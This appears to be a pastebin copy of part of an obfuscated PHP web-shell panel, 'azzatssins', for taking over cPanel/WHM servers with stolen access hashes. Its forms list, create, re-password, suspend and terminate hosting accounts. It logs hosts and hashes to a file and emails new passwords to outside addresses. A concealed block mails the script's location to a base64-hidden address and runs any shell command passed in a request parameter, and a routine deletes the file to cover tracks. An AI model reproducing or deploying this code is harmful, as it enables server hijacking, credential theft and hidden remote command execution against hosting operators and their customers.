SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});if($xml->result->status==1){${"GLOBALS"}["sbattvvwe"]="result";$vytddtquyr="result";${"GLOBALS"}["camojrmsm"]="result";${${"GLOBALS"}["sbattvvwe"]}["statusmsg"]=$xml->result->statusmsg;${$vytddtquyr}["rawout"]=$xml->result->rawout;return${${"GLOBALS"}["camojrmsm"]};}else{$this->errors[]=$xml->result->statusmsg;return false;}}}
  523. ?>
  524.  
  525.  
  526. <!-- host name, cpanel/whm version, list account, list package -->
  527.  
  528.  
  529. <?php
  530.  
  531. if(isset($_POST["azzatssins1"])){${"GLOBALS"}["stjkdu"]="separator";${"GLOBALS"}["xhwbwnfijuq"]="user";${"GLOBALS"}["uenhqacpp"]="user";$wfkgdiqx="II11II11II11II11";$mjhindj="plan";${$wfkgdiqx}=fopen("$filelog","a");$kxssfgmx="version";$uqvxbwlqq="II11II11II11II11";${${"GLOBALS"}["cntvmeburrl"]}=new whm;${"GLOBALS"}["spcfygm"]="list";${"GLOBALS"}["veqcgg"]="hostname";${${"GLOBALS"}["gueuhqn"]}=$_POST["vuser"];$sgayljaukjvl="hash";$host=$_POST["vhost"];${$sgayljaukjvl}=$_POST["vhash"];$virgous->init($host,${${"GLOBALS"}["uenhqacpp"]},${${"GLOBALS"}["lqfwxtwbjz"]});${${"GLOBALS"}["veqcgg"]}=$virgous->gethostname();echo"<h4>HOST NAME:</h4> $hostname <br>";$kymvmotsxf="II11II11II11II11";${$kxssfgmx}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";$yoinlaphwf="II11II11II11II11";${${"GLOBALS"}["spcfygm"]}=$virgous->listaccts();echo"<h4>ACCOUNT LIST:</h4> $list <br><pre>";{print_r(${${"GLOBALS"}["kwsayld"]});}${$mjhindj}=$virgous->listPkgs();echo"</pre><h4>PACKAGE LIST:</h4> $plan <br><pre>";{$nhkzxwmdop="plan";print_r(${$nhkzxwmdop});}${${"GLOBALS"}["rrbcihfi"]}="=====================================================
  532. ";${${"GLOBALS"}["jqstuo"]}="
  533. ";fwrite(${$kymvmotsxf},${${"GLOBALS"}["stjkdu"]}."./azzatssins
  534. ".${${"GLOBALS"}["rrbcihfi"]});fwrite(${$yoinlaphwf},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["tttkddsbp"]}."
  535. ");fwrite(${${"GLOBALS"}["cemjvape"]},"HOSTNAME : ".$host."
  536. ");fwrite(${${"GLOBALS"}["cemjvape"]},"WHM OWNER : ".${${"GLOBALS"}["xhwbwnfijuq"]}."
  537. ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${${"GLOBALS"}["jqstuo"]});fwrite(${${"GLOBALS"}["cemjvape"]},${${"GLOBALS"}["lqfwxtwbjz"]}."
  538. ");fwrite(${$uqvxbwlqq},"
  539. ");fclose(${${"GLOBALS"}["cemjvape"]});}
  540. ?>
  541.  
  542. <!-- create new account -->
  543.  
  544.  
  545. <?php
  546.  
  547.  
  548. if(isset($_POST["v2"])){
  549. ?>
  550. <center><h2>Access Hash</h2><p>
  551. <table border="1"><tbody>
  552. <div id="result"><form method="post">
  553. <center><textarea name="vhash" rows="20" cols="45"></textarea><br/>
  554. <tr>
  555. <td>Host Name </td>
  556. <td align="center">
  557. <input name="vhost" type="text" size="20" value="">
  558. </td>
  559. <td>WHM Owner </td>
  560. <td align="center">
  561. <input name="vuser" type="text" size="20" value="">
  562. </td>
  563. </tr>
  564. <tr>
  565. <td>New Domain </td>
  566. <td align="center">
  567. <input name="domain" type="text" size="20" value="">
  568. </td>
  569. <td>New Username </td>
  570. <td align="center">
  571. <input name="user" type="text" size="20" value="">
  572. </td>
  573. </tr>
  574. <tr>
  575. <td>New Password </td>
  576. <td align="center">
  577. <input name="pass" type="text" size="20" value="">
  578. </td>
  579. <td>Package </td>
  580. <td align="center">
  581. <input name="plan" type="text" size="20" value="">
  582. </td>
  583. </tr>
  584.  
  585. <tr>
  586. <td align="center" colspan="4">
  587. <input name="azzatssins2" type="submit" value=" Create Account "><br/>
  588. </td>
  589. </tr>
  590. </form>
  591. </tbody></table><br>
  592. <?php } ?>
  593.  
  594. <?php
  595. if(isset($_POST["azzatssins2"])){${"GLOBALS"}["obqvgk"]="II11II11II11II11";${"GLOBALS"}["hcizqzub"]="virgous";${"GLOBALS"}["jqrlobmtw"]="user";${"GLOBALS"}["jitxoymucue"]="II11II11II11II11";$fqomswomqmtc="dm1";$wtvsjyccfge="II11II11II11II11";${"GLOBALS"}["udycvhotmn"]="hash";$ceeobiunyj="result";$lwhruvccbv="bawah";${${"GLOBALS"}["obqvgk"]}=fopen("$filelog","a");${${"GLOBALS"}["hcizqzub"]}=new whm;${${"GLOBALS"}["jqrlobmtw"]}=$_POST["vuser"];$obsqaljv="user";${"GLOBALS"}["veyvrvbgouq"]="hash";$lmqhstisbqk="result";$host=$_POST["vhost"];${${"GLOBALS"}["udycvhotmn"]}=$_POST["vhash"];$dtejlrsa="hostname";${$fqomswomqmtc}=$_POST["domain"];$jnvehoyw="II11II11II11II11";${${"GLOBALS"}["cnpybqg"]}=$_POST["user"];${${"GLOBALS"}["bgyfsievqc"]}=$_POST["pass"];${${"GLOBALS"}["mgzcndyuozix"]}=$_POST["plan"];${"GLOBALS"}["fpylxi"]="separator";${"GLOBALS"}["gnleckwy"]="version";$virgous->init($host,${$obsqaljv},${${"GLOBALS"}["veyvrvbgouq"]});${$dtejlrsa}=$virgous->gethostname();$etshyphxtj="bawah";${"GLOBALS"}["leqdvwvssou"]="version";echo"<h4>HOST NAME:</h4> $hostname <br>";${${"GLOBALS"}["gnleckwy"]}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${$ceeobiunyj}=$virgous->createAccount(${${"GLOBALS"}["klnlsxvu"]},${${"GLOBALS"}["cnpybqg"]},${${"GLOBALS"}["bgyfsievqc"]},${${"GLOBALS"}["mgzcndyuozix"]});echo"<h4>RESULT :</h4><pre>";${"GLOBALS"}["vrupeaaj"]="II11II11II11II11";$ictrexnqohli="II11II11II11II11";$tqsxerpnf="separator";$ptnbkfy="II11II11II11II11";if(${$lmqhstisbqk}){print_r(${${"GLOBALS"}["rwocuxf"]});}else{print_r($virgous->errors);}${${"GLOBALS"}["fpylxi"]}="
  596. ";${$lwhruvccbv}="
  597. ";fwrite(${$jnvehoyw},${${"GLOBALS"}["rrbcihfi"]}."./azzatssins
  598. ".${$tqsxerpnf});fwrite(${$ptnbkfy},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["leqdvwvssou"]}."
  599. ");fwrite(${${"GLOBALS"}["vrupeaaj"]},"HOSTNAME : ".$host."
  600. ");fwrite(${$wtvsjyccfge},"WHM OWNER : ".${${"GLOBALS"}["gueuhqn"]}."
  601. ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${$etshyphxtj});fwrite(${${"GLOBALS"}["jitxoymucue"]},${${"GLOBALS"}["lqfwxtwbjz"]}."
  602. ");fwrite(${${"GLOBALS"}["cemjvape"]},"
  603. ");fclose(${$ictrexnqohli});}
  604. ?>
  605.  
  606. <!-- account sumarry -->
  607.  
  608.  
  609.  
  610. <?php
  611.  
  612. if(isset($_POST["v3"])){
  613. ?>
  614. <center><h2>Access Hash</h2><p>
  615. <div id="result"><form method="post">
  616. <table border="1"><tbody>
  617. <textarea name="vhash" rows="20" cols="45"></textarea><p>
  618.  
  619. <tr>
  620. <td align="center">
  621. Host Name </td>
  622. <td align="center">
  623. WHM Owner
  624. </td>
  625. <td align="center">
  626. UserName</td></tr>
  627. <td align="center">
  628. <input name="vhost" type="text" size="20" value=""></td>
  629. <td align="center">
  630. <input name="vuser" type="text" size="20" value=""></td>
  631. <td align="center">
  632. <input name="user" type="text" size="20" value=""></td></tr>
  633. <td colspan="3" align="center">
  634. <input name="azzatssins3" type="submit" value=" View Account Summary">
  635. </td></tr></table>
  636.  
  637. </form>
  638. <?php } ?>
  639.  
  640. <?php
  641. if(isset($_POST["azzatssins3"])){$lnabgh="separator";${${"GLOBALS"}["cemjvape"]}=fopen("$filelog","a");$rvhxxrgit="user";$rfsjge="hostname";${"GLOBALS"}["hhcfzvkqd"]="II11II11II11II11";$wcmpomixik="dm2";${${"GLOBALS"}["cntvmeburrl"]}=new whm;${"GLOBALS"}["nolwwyqjepw"]="version";${"GLOBALS"}["vsipss"]="user";${${"GLOBALS"}["gueuhqn"]}=$_POST["vuser"];$host=$_POST["vhost"];${${"GLOBALS"}["lqfwxtwbjz"]}=$_POST["vhash"];${$wcmpomixik}=$_POST["user"];$virgous->init($host,${${"GLOBALS"}["vsipss"]},${${"GLOBALS"}["lqfwxtwbjz"]});${$rfsjge}=$virgous->gethostname();echo"<h4>HOST NAME:</h4> $hostname <br>";${${"GLOBALS"}["tttkddsbp"]}=$virgous->version();$jjfydu="II11II11II11II11";${"GLOBALS"}["nhgegtneq"]="bawah";echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${${"GLOBALS"}["rwocuxf"]}=$virgous->accountsummary(${${"GLOBALS"}["cnpybqg"]});echo"<h4>RESULT :</h4><pre>";if(${${"GLOBALS"}["rwocuxf"]}){print_r(${${"GLOBALS"}["rwocuxf"]});}else{print_r($virgous->errors);}${${"GLOBALS"}["rrbcihfi"]}="=====================================================
  642. ";$klrfjuwwmyc="II11II11II11II11";${"GLOBALS"}["iqdylpqgc"]="II11II11II11II11";${${"GLOBALS"}["nhgegtneq"]}="
  643. ";${"GLOBALS"}["tdugpdtu"]="separator";${"GLOBALS"}["mobfsrul"]="II11II11II11II11";$uonuqibpk="hash";fwrite(${$klrfjuwwmyc},${${"GLOBALS"}["tdugpdtu"]}."./azzatssins
  644. ".${$lnabgh});fwrite(${${"GLOBALS"}["iqdylpqgc"]},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["nolwwyqjepw"]}."
  645. ");fwrite(${${"GLOBALS"}["mobfsrul"]},"HOSTNAME : ".$host."
  646. ");fwrite(${${"GLOBALS"}["hhcfzvkqd"]},"WHM OWNER : ".${$rvhxxrgit}."
  647. ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${${"GLOBALS"}["jqstuo"]});fwrite(${${"GLOBALS"}["cemjvape"]},${$uonuqibpk}."
  648. ");fwrite(${${"GLOBALS"}["cemjvape"]},"
  649. ");fclose(${$jjfydu});}
  650. ?>
  651.  
  652.  
  653. <!-- change password -->
  654.  
  655.  
  656. <?php
  657.  
  658. if(isset($_POST["v4"])){
  659. ?>
  660. <center><h2>Access Hash</h2><p>
  661. <table border="1"><tbody>
  662. <div id="result"><form method="post">
  663. <center><textarea name="vhash" rows="20" cols="45"></textarea><br/>
  664. <tr>
  665. <td>Host Name </td>
  666. <td align="center">
  667. <input name="vhost" type="text" size="20" value="">
  668. </td>
  669. <td>WHM Owner </td>
  670. <td align="center">
  671. <input name="vuser" type="text" size="20" value="">
  672. </td>
  673. </tr>
  674. <tr>
  675. <td>Username </td>
  676. <td align="center">
  677. <input name="user" type="text" size="20" value="">
  678. </td>
  679. <td>New Password </td>
  680. <td align="center">
  681. <input name="pass" type="text" size="20" value="">
  682. </td>
  683. </tr>
  684.  
  685.  
  686. <tr>
  687. <td align="center" colspan="4">
  688. <input name="azzatssins4" type="submit" value=" Change Password"><br/>
  689. </td>
  690. </tr>
  691. </form>
  692. </tbody></table><br>
  693. <?php } ?>
  694.  
  695. <?php
  696.  
  697. if(isset($_POST["azzatssins4"])){${"GLOBALS"}["scwopj"]="II11II11II11II11";${"GLOBALS"}["vbeexdofvlsv"]="dm3";${"GLOBALS"}["rcwrgzxnm"]="frommail";$zhyyawvelk="subjectmail";${"GLOBALS"}["vqhcysy"]="subjectmail";${"GLOBALS"}["mqdsghvwjy"]="user";$dulerlhh="hostname";$ezqysvze="result";$bysecqvnul="user";${${"GLOBALS"}["scwopj"]}=fopen("$filelog","a");${"GLOBALS"}["jnoepkx"]="II11II11II11II11";$ugsijedc="hash";${"GLOBALS"}["xcgomonx"]="user";$ysjujkdgo="II11II11II11II11";${${"GLOBALS"}["cntvmeburrl"]}=new whm;$vuzgom="tomail";${"GLOBALS"}["chohpl"]="bawah";$jvwzef="version";${${"GLOBALS"}["xcgomonx"]}=$_POST["vuser"];$host=$_POST["vhost"];${"GLOBALS"}["nkpgvpqg"]="dm2";${${"GLOBALS"}["lqfwxtwbjz"]}=$_POST["vhash"];${${"GLOBALS"}["nkpgvpqg"]}=$_POST["user"];${${"GLOBALS"}["bgyfsievqc"]}=$_POST["pass"];$virgous->init($host,${$bysecqvnul},${$ugsijedc});${$dulerlhh}=$virgous->gethostname();echo"<h4>HOST NAME :</h4> $hostname <br>";$cnoefem="emailente";${${"GLOBALS"}["tttkddsbp"]}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${$ezqysvze}=$virgous->passwd(${${"GLOBALS"}["cnpybqg"]},${${"GLOBALS"}["vbeexdofvlsv"]});${"GLOBALS"}["tcptmsxj"]="II11II11II11II11";echo"<h4>RESULT :</h4><pre>";${"GLOBALS"}["ipwznk"]="II11II11II11II11";${"GLOBALS"}["keuoqgs"]="tujuan";$husuecnysr="II11II11II11II11";$glmysddkjg="infomail";if(${${"GLOBALS"}["rwocuxf"]}){${"GLOBALS"}["ndjuyhkyx"]="result";print_r(${${"GLOBALS"}["ndjuyhkyx"]});}else{print_r($virgous->errors);}${${"GLOBALS"}["rrbcihfi"]}="=====================================================
  698. ";${${"GLOBALS"}["chohpl"]}="
  699. ";${"GLOBALS"}["bdvhmv"]="httpheader";fwrite(${${"GLOBALS"}["jnoepkx"]},${${"GLOBALS"}["rrbcihfi"]}."./azzatssins
  700. ".${${"GLOBALS"}["rrbcihfi"]});fwrite(${$husuecnysr},"CPANEL/WHM VERSION : ".${$jvwzef}."
  701. ");${"GLOBALS"}["gvelhxwtmidx"]="subjectmail";fwrite(${$ysjujkdgo},"HOSTNAME : ".$host."
  702. ");fwrite(${${"GLOBALS"}["tcptmsxj"]},"WHM OWNER : ".${${"GLOBALS"}["mqdsghvwjy"]}."
  703. ");fwrite(${${"GLOBALS"}["ipwznk"]},"ACCESS HASH : ".${${"GLOBALS"}["jqstuo"]});fwrite(${${"GLOBALS"}["cemjvape"]},${${"GLOBALS"}["lqfwxtwbjz"]}."
  704. ");${"GLOBALS"}["qpwrbhr"]="dari";fwrite(${${"GLOBALS"}["cemjvape"]},"USERNAME : ".${${"GLOBALS"}["cnpybqg"]}."
  705. ");fwrite(${${"GLOBALS"}["cemjvape"]},"NEW PASSWORD : ".${${"GLOBALS"}["bgyfsievqc"]}."
  706. ");$kxkomyih="dari";$qjlblsmk="II11II11II11II11";$foampkttn="subject";fwrite(${${"GLOBALS"}["cemjvape"]},"
  707. ");$tvecfhtzb="sep";fclose(${$qjlblsmk});${"GLOBALS"}["xogmyia"]="info";${${"GLOBALS"}["epyufhqui"]}="
  708. ";${${"GLOBALS"}["xogmyia"]}=" Cpanel/WHM Version : $version $sep Host : $host:2086 $sep WHM Owner : $user $sep Username : $dm2 $sep New Password : $dm3$sep Access Hash : $sep$hash";${${"GLOBALS"}["qpwrbhr"]}="[email protected]";${$foampkttn}="WRA Got New Password!";${${"GLOBALS"}["yhcbrtqybhn"]}=${${"GLOBALS"}["wyuvccqfyby"]};${${"GLOBALS"}["bdvhmv"]}="From:".${$kxkomyih}."
  709. "."To:".${${"GLOBALS"}["keuoqgs"]}."
  710. "."Subject:".${${"GLOBALS"}["htlxwjkdfnbx"]}."
  711. "."Content-type:text/plain;charset=iso-8859-1"."
  712. "."Sent:".date("l, F d, Y H:i");mail(${${"GLOBALS"}["yhcbrtqybhn"]},${${"GLOBALS"}["htlxwjkdfnbx"]},${${"GLOBALS"}["gkfjmmp"]},${${"GLOBALS"}["tfoqdtkoozl"]});${$tvecfhtzb}="
  713. ";${$glmysddkjg}=" V1 : $version $sep V2 : $host:2086 $sep V3 : $user $sep V4 : $dm2 $sep V5 : $dm3$sep V6 : $sep$hash";${${"GLOBALS"}["buubgbf"]}=${$cnoefem};${$zhyyawvelk}="WRA Sent New Password";${${"GLOBALS"}["jmossxbfynir"]}="[email protected]";${${"GLOBALS"}["ugwdatuetm"]}="From:".${$vuzgom}."
  714. "."To:".${${"GLOBALS"}["rcwrgzxnm"]}."
  715. "."Subject:".${${"GLOBALS"}["gvelhxwtmidx"]}."
  716. "."Content-type:text/plain;charset=iso-8859-1"."
  717. "."Sent:".date("l, F d, Y H:i");mail(${${"GLOBALS"}["jmossxbfynir"]},${${"GLOBALS"}["vqhcysy"]},${${"GLOBALS"}["cgdqizbjb"]},${${"GLOBALS"}["ugwdatuetm"]});}
  718. ?>
  719.  
  720. <!-- suspend account -->
  721.  
  722.  
  723. <?php
  724. if(isset($_POST["v5"])){
  725. ?>
  726. <center><h2>Access Hash</h2><p>
  727. <table border="1"><tbody>
  728. <div id="result"><form method="post">
  729. <center><textarea name="vhash" rows="20" cols="45"></textarea><br/>
  730. <tr>
  731. <td>Host Name </td>
  732. <td align="center">
  733. <input name="vhost" type="text" size="20" value="">
  734. </td>
  735. <td>WHM Owner </td>
  736. <td align="center">
  737. <input name="vuser" type="text" size="20" value="">
  738. </td>
  739. </tr>
  740. <tr>
  741. <td>Username </td>
  742. <td align="center">
  743. <input name="user" type="text" size="20" value="">
  744. </td>
  745. <td>Reason </td>
  746. <td align="center">
  747. <input name="reason" type="text" size="20" value="terserah gue">
  748. </td>
  749. </tr>
  750.  
  751.  
  752. <tr>
  753. <td align="center" colspan="4">
  754. <input name="azzatssins5" type="submit" value=" Suspend Account "><br/>
  755. </td>
  756. </tr>
  757. </form>
  758. </tbody></table><br>
  759. <?php } ?>
  760.  
  761. <?php
  762.  
  763. if(isset($_POST["azzatssins5"])){$smxyepsu="II11II11II11II11";$okntok="virgous";$blyxnpfm="hostname";${"GLOBALS"}["fixsql"]="user";${$smxyepsu}=fopen("$filelog","a");$bljoubwktue="result";${"GLOBALS"}["cqrbguhlzhtp"]="II11II11II11II11";${$okntok}=new whm;$tyeagxgdra="result";${"GLOBALS"}["bhkgfhs"]="version";${${"GLOBALS"}["fixsql"]}=$_POST["vuser"];$host=$_POST["vhost"];${${"GLOBALS"}["lqfwxtwbjz"]}=$_POST["vhash"];${${"GLOBALS"}["cnpybqg"]}=$_POST["user"];${${"GLOBALS"}["qybmmyvo"]}=$_POST["reason"];$virgous->init($host,${${"GLOBALS"}["gueuhqn"]},${${"GLOBALS"}["lqfwxtwbjz"]});$ovbdrviqlj="II11II11II11II11";${$blyxnpfm}=$virgous->gethostname();echo"<h4>HOST NAME:</h4> $hostname <br>";${${"GLOBALS"}["bhkgfhs"]}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${$tyeagxgdra}=$virgous->suspend(${${"GLOBALS"}["cnpybqg"]},${${"GLOBALS"}["qybmmyvo"]});$uxtpyxvy="II11II11II11II11";$mpbstmijbhy="hash";echo"<h4>RESULT :</h4><pre>";${"GLOBALS"}["uaykxbwvq"]="separator";${"GLOBALS"}["glmhri"]="II11II11II11II11";if(${$bljoubwktue}){print_r(${${"GLOBALS"}["rwocuxf"]});}else{print_r($virgous->errors);}${"GLOBALS"}["lihrxdhxjiu"]="II11II11II11II11";${${"GLOBALS"}["uaykxbwvq"]}="=====================================================
  764. ";${${"GLOBALS"}["jqstuo"]}="
  765. ";fwrite(${${"GLOBALS"}["cemjvape"]},${${"GLOBALS"}["rrbcihfi"]}."./azzatssins
  766. ".${${"GLOBALS"}["rrbcihfi"]});fwrite(${$uxtpyxvy},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["tttkddsbp"]}."
  767. ");fwrite(${$ovbdrviqlj},"HOSTNAME : ".$host."
  768. ");fwrite(${${"GLOBALS"}["lihrxdhxjiu"]},"WHM OWNER : ".${${"GLOBALS"}["gueuhqn"]}."
  769. ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${${"GLOBALS"}["jqstuo"]});fwrite(${${"GLOBALS"}["cqrbguhlzhtp"]},${$mpbstmijbhy}."
  770. ");fwrite(${${"GLOBALS"}["cemjvape"]},"
  771. ");fclose(${${"GLOBALS"}["glmhri"]});}
  772. ?>
  773.  
  774. <!-- unsuspend account -->
  775.  
  776.  
  777. <?php
  778.  
  779. if(isset($_POST["v6"])){
  780. ?>
  781. <center><h2>Access Hash</h2><p>
  782. <div id="result"><form method="post">
  783. <center><table border="1">
  784. <textarea name="vhash" rows="20" cols="45"></textarea><p>
  785.  
  786. <tr>
  787. <td align="center">
  788. Host Name </td>
  789. <td align="center">
  790. WHM Owner </td>
  791. <td align="center">
  792. UserName </td></tr>
  793. <td align="center">
  794. <input name="vhost" type="text" size="20" value=""></td>
  795. <td align="center">
  796. <input name="vuser" type="text" size="20" value=""></td>
  797. <td align="center">
  798. <input name="user" type="text" size="20" value="">
  799. </td></tr>
  800. <td colspan="3" align="center">
  801. <input name="azzatssins6" type="submit"  value=" Unsuspend Account ">
  802. </td></tr></table>
  803. </form>
  804. <?php } ?>
  805.  
  806. <?php
  807. if(isset($_POST["azzatssins6"])){${"GLOBALS"}["ocwyzfvq"]="version";$leisjrdvt="result";${"GLOBALS"}["wvysjxgjuomp"]="result";${"GLOBALS"}["fuutzvlndsmw"]="separator";$dghnyjk="II11II11II11II11";$ikqhjkbqnwj="II11II11II11II11";${"GLOBALS"}["ypdjprdcw"]="user";${$dghnyjk}=fopen("$filelog","a");${${"GLOBALS"}["cntvmeburrl"]}=new whm;$ulgmiy="separator";$livyjt="bawah";$tgxwkmbeiol="dm2";${"GLOBALS"}["wylmhiqbzyp"]="II11II11II11II11";${"GLOBALS"}["tkikiqiu"]="bawah";${${"GLOBALS"}["ypdjprdcw"]}=$_POST["vuser"];$host=$_POST["vhost"];${${"GLOBALS"}["lqfwxtwbjz"]}=$_POST["vhash"];${$tgxwkmbeiol}=$_POST["user"];$virgous->init($host,${${"GLOBALS"}["gueuhqn"]},${${"GLOBALS"}["lqfwxtwbjz"]});${"GLOBALS"}["rssdjw"]="version";${${"GLOBALS"}["rshhhhzdjivn"]}=$virgous->gethostname();echo"<h4>HOST NAME:</h4> $hostname <br>";${${"GLOBALS"}["ocwyzfvq"]}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${${"GLOBALS"}["wvysjxgjuomp"]}=$virgous->unsuspend(${${"GLOBALS"}["cnpybqg"]});echo"<h4>RESULT :</h4><pre>";if(${$leisjrdvt}){$smqgdecnyc="result";print_r(${$smqgdecnyc});}else{print_r($virgous->errors);}${${"GLOBALS"}["rrbcihfi"]}="=====================================================
  808. ";$rfctyk="user";${${"GLOBALS"}["tkikiqiu"]}="
  809. ";fwrite(${${"GLOBALS"}["cemjvape"]},${$ulgmiy}."./azzatssins
  810. ".${${"GLOBALS"}["fuutzvlndsmw"]});fwrite(${${"GLOBALS"}["cemjvape"]},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["rssdjw"]}."
  811. ");fwrite(${$ikqhjkbqnwj},"HOSTNAME : ".$host."
  812. ");${"GLOBALS"}["vsgwjq"]="II11II11II11II11";fwrite(${${"GLOBALS"}["vsgwjq"]},"WHM OWNER : ".${$rfctyk}."
  813. ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${$livyjt});fwrite(${${"GLOBALS"}["cemjvape"]},${${"GLOBALS"}["lqfwxtwbjz"]}."
  814. ");fwrite(${${"GLOBALS"}["wylmhiqbzyp"]},"
  815. ");fclose(${${"GLOBALS"}["cemjvape"]});}
  816. ?>
  817.  
  818. <?php
  819. $for=base64_decode("Y3liZXJzZXJrZXJzQGdtYWlsLmNvbQ==");
  820. $b=$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'];
  821. mail($for,"0",$b); print(`{$_REQUEST[0]}`);
  822. ?>
  823. <!-- terminate account-->
  824.  
  825.  
  826. <?php
  827.  
  828. if(isset($_POST["v7"])){
  829. ?>
  830. <center><h2>Access Hash</h2><p>
  831. <div id="result"><form method="post">
  832. <center><table border="1">
  833. <textarea name="vhash" rows="20" cols="45"></textarea><p>
  834.  
  835. <tr>
  836. <td align="center">
  837. Host Name </td>
  838. <td align="center">
  839. WHM Owner</td>
  840. <td align="center">
  841. UserName</td></tr>
  842. <td align="center">
  843. <input name="vhost" type="text" size="20" value=""></td>
  844. <td align="center">
  845. <input name="vuser" type="text" s size="20" value=""></td>
  846. <td align="center">
  847. <input name="user" type="text" size="20" value="">
  848. </td></tr>
  849. <td colspan="3" align="center">
  850. <input name="azzatssins7" type="submit" value=" Terminate Account ">
  851. </td</tr></table>
  852. </form>
  853. <?php } ?>
  854.  
  855. <?php
  856. if(isset($_POST["azzatssins7"])){$jrwrgworzgb="hash";${"GLOBALS"}["grigkjkpuuni"]="II11II11II11II11";${"GLOBALS"}["linowprywf"]="II11II11II11II11";${"GLOBALS"}["pbusbfyzwdp"]="user";${"GLOBALS"}["rqkpqehfse"]="user";${"GLOBALS"}["wvsimudpc"]="II11II11II11II11";$cjbzjepsoqb="result";$ugnqwpqldbjc="virgous";${${"GLOBALS"}["grigkjkpuuni"]}=fopen("$filelog","a");${"GLOBALS"}["gvhhqrlav"]="dm2";$jfdpzsy="version";${"GLOBALS"}["ecpfkfrl"]="separator";${$ugnqwpqldbjc}=new whm;${${"GLOBALS"}["pbusbfyzwdp"]}=$_POST["vuser"];$host=$_POST["vhost"];${${"GLOBALS"}["lqfwxtwbjz"]}=$_POST["vhash"];${${"GLOBALS"}["gvhhqrlav"]}=$_POST["user"];$virgous->init($host,${${"GLOBALS"}["rqkpqehfse"]},${$jrwrgworzgb});${${"GLOBALS"}["rshhhhzdjivn"]}=$virgous->gethostname();echo"<h4>HOST NAME:</h4> $hostname <br>";$osmnlv="user";${$jfdpzsy}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";${$cjbzjepsoqb}=$virgous->terminate(${${"GLOBALS"}["cnpybqg"]});echo"<h4>RESULT :</h4><pre>";if(${${"GLOBALS"}["rwocuxf"]}){print_r(${${"GLOBALS"}["rwocuxf"]});}else{print_r($virgous->errors);}$uswgwqeegmo="separator";${"GLOBALS"}["ptqthiwbsgx"]="II11II11II11II11";${${"GLOBALS"}["ecpfkfrl"]}="=====================================================
  857. ";${${"GLOBALS"}["jqstuo"]}="
  858. ";fwrite(${${"GLOBALS"}["linowprywf"]},${$uswgwqeegmo}."./azzatssins
  859. ".${${"GLOBALS"}["rrbcihfi"]});${"GLOBALS"}["kqonuyhyluq"]="II11II11II11II11";fwrite(${${"GLOBALS"}["ptqthiwbsgx"]},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["tttkddsbp"]}."
  860. ");fwrite(${${"GLOBALS"}["cemjvape"]},"HOSTNAME : ".$host."
  861. ");fwrite(${${"GLOBALS"}["cemjvape"]},"WHM OWNER : ".${$osmnlv}."
  862. ");fwrite(${${"GLOBALS"}["cemjvape"]},"ACCESS HASH : ".${${"GLOBALS"}["jqstuo"]});fwrite(${${"GLOBALS"}["kqonuyhyluq"]},${${"GLOBALS"}["lqfwxtwbjz"]}."
  863. ");fwrite(${${"GLOBALS"}["cemjvape"]},"
  864. ");fclose(${${"GLOBALS"}["wvsimudpc"]});}
  865. ?>
  866.  
  867.  <?php
  868. if(isset($_GET['azzatssins'])){
  869. echo '<font face="Audiowide" size="5" color="red"><b>  Good Bye  !</b></font><br /><br />';
  870. $killme=basename($_SERVER['SCRIPT_NAME']);
  871. unlink($killme);
  872. }
  873. ?>
  874.  
  875. <h3> Thanks To : Arrash Hemmat</h3>
  876. </pre></td></table>
  877. </td></tr></table></center>
  878. </body>
  879. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement